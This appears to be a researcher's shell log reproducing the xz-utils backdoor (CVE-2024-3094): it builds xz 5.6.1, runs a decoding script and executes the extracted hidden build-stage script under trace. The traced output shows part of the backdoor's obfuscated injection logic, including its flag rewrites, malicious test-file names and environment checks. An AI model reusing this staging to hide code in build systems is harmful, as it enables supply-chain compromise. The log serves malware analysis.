xz-cve-2024-3094

root@ubuntu:/xz/# apt update root@ubuntu:/xz/# apt install -y gcc g++ vim net-tools make cmake build-essential libncurses-dev flex bison libssl-dev libelf-dev bc liblz4-tool liblz4-dev liblzma-dev ... ... root@ubuntu:/xz/# bash ./decode.sh root@ubuntu:/xz/# tar xf xz-5.6.1.tar.xz && cd xz-5.6.1 root@ubuntu:/xz/xz-5.6.1# ./configure ... ... root@ubuntu:/xz/xz-5.6.1# make ... ... root@ubuntu:/xz/xz-5.6.1# cp -rf src/liblzma/.libs/liblzma.so.5.6.1 ../liblzma.so.5.6.1.o root@ubuntu:/xz/xz-5.6.1# cp -rf src/liblzma/Makefile ../Makefile.o root@ubuntu:/xz/xz-5.6.1# cp -rf libtool ../libtool.o root@ubuntu:/xz/xz-5.6.1# cat ../good-large_compressed.lzma.de.txt | RPM_ARCH=x86_64 sh -x

• P=-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
• C=pic_flag=" -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
• O=^pic_flag=" -fPIC -DPIC"$
• R=is_arch_extension_supported
• x=__get_cpuid(
• p=good-large_compressed.lzma
• U=bad-3-corrupt_lzma2.xz
• uname
• [ ! Linux=Linux ]
• eval
• test -f config.status
• eval
• grep ^LD='/ config.status
• eval LD='/usr/bin/ld -m elf_x86_64'
• LD=/usr/bin/ld -m elf_x86_64
• grep ^CC=' config.status
• eval CC='gcc'
• CC=gcc
• grep ^GCC=' config.status
• eval GCC='yes'
• GCC=yes
• grep ^srcdir=' config.status
• eval srcdir='.'
• srcdir=.
• grep ^build='x86_64 config.status
• eval build='x86_64-pc-linux-gnu'
• build=x86_64-pc-linux-gnu
• grep ^enable_shared='yes' config.status
• eval enable_shared='yes'
• enable_shared=yes
• grep ^enable_static=' config.status
• eval enable_static='yes'
• enable_static=yes
• grep ^gl_path_map=' config.status
• eval gl_path_map='tr "\t -" " \t-"'
• gl_path_map=tr "\t -" " \t-"
• grep -broaF ~!:_ W ./tests/files/
• vs=
• test x != x
• eval
• grep -qs ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1" config.status
• grep -qs define HAVE_FUNC_ATTRIBUTE_IFUNC 1 config.h
• test xyes != xyes
• echo x86_64-pc-linux-gnu
• grep -Eq ^x86_64